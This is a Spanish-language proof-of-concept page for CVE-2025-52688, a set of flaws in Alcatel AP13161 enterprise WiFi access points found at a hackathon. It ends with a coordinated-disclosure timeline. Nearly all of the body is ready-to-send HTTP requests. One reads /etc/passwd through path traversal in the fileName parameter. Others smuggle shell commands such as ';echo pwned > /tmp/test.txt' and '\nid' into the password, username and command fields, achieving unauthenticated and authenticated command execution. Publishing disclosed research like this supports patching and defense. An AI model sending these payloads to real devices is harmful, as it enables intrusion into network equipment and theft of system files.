joelczk/cve-2025-52688Pruebas de concepto para CVE-2025-52688: vulnerabilidades de inyección de comandos no autenticada y lectura arbitraria de archivos en puntos de acceso WiFi empresariales Alcatel AP13161, descubiertas durante un hackathon de IoT/OT.
Alcatel AP13161 - Punto de acceso WiFi empresarial
Hay 2 vulnerabilidades principales que se abordan aquí:
; para causar un ataque de inyección de comandosfileName que permite la lectura arbitraria no autorizada de archivos en el servidorEsta vulnerabilidad fue descubierta durante el Hackathon IoT/OT SPIRICYBER-24 organizado por CSA (Agencia de Ciberseguridad de Singapur) y NTU
El parámetro fileName permite que cualquier usuario no autenticado pueda ver cualquier archivo del sistema. Al recorrer los directorios, podemos leer archivos sensibles del servidor
POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"username":"xxx",
"method":"downloader.cert",
"params":{
"fileName":"/../../etc/passwd"
}
}
El parámetro password en el endpoint /apiaccess es vulnerable a una vulnerabilidad de inyección de comandos no autenticada que permite a cualquier usuario no autenticado ejecutar comandos del sistema
POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
"id":1,
"jsonrpc":"2.0",
"method":"system.getPvc",
"params":{
"username": "Administrator",
"password":";echo pwned1234 > /tmp/test.txt"
}
}
El parámetro username en el endpoint echo.fcgi es vulnerable a una vulnerabilidad de inyección de comandos no autenticada que permite a cualquier usuario no autenticado ejecutar comandos del sistema
POST /echo.fcgi HTTP/1.1
Host:
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
"id":1,
"jsonrpc":"2.0",
"username":"Administrator",
"method":"user.logout",
"params":{
"username": ";echo pwned > /tmp/test.txt",
"Sessionid":""
}
}
El parámetro command permite a los usuarios autenticados ejecutar funciones y binarios del sistema para probar la funcionalidad del poste de luz. Sin embargo, debido a un filtrado de entrada y una lista negra insuficientes, podemos omitir los filtros para ejecutar una ejecución remota de código autenticada que permite a cualquier usuario conectado ejecutar comandos del sistema
POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"method":"expressmessage.call",
"username":"Administrator",
"session":"XXXXXX",
"topic":"WMA/DC:XXXXXXX",
"params":{
"version":"3.0",
"messageID":1,
"macAddress":"DC:XXXXX",
"option":"update",
"method":"ap_manage.exce_command",
"contents":{
"command":"tech_support_command 9 127.0.0.1\nid"
}
}
}
2024-08-10: Informe enviado al equipo de triaje del Hackathon IoT SpiritCyber 2024-08-20: Informe aceptado por el equipo de triaje 2025-06-25: CSA SingCert asigna CVE-2025-52688 2025-07-14: Divulgación pública
https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-072 https://www.al-enterprise.com/-/media/567414972b57459697030898f92ac043.pdf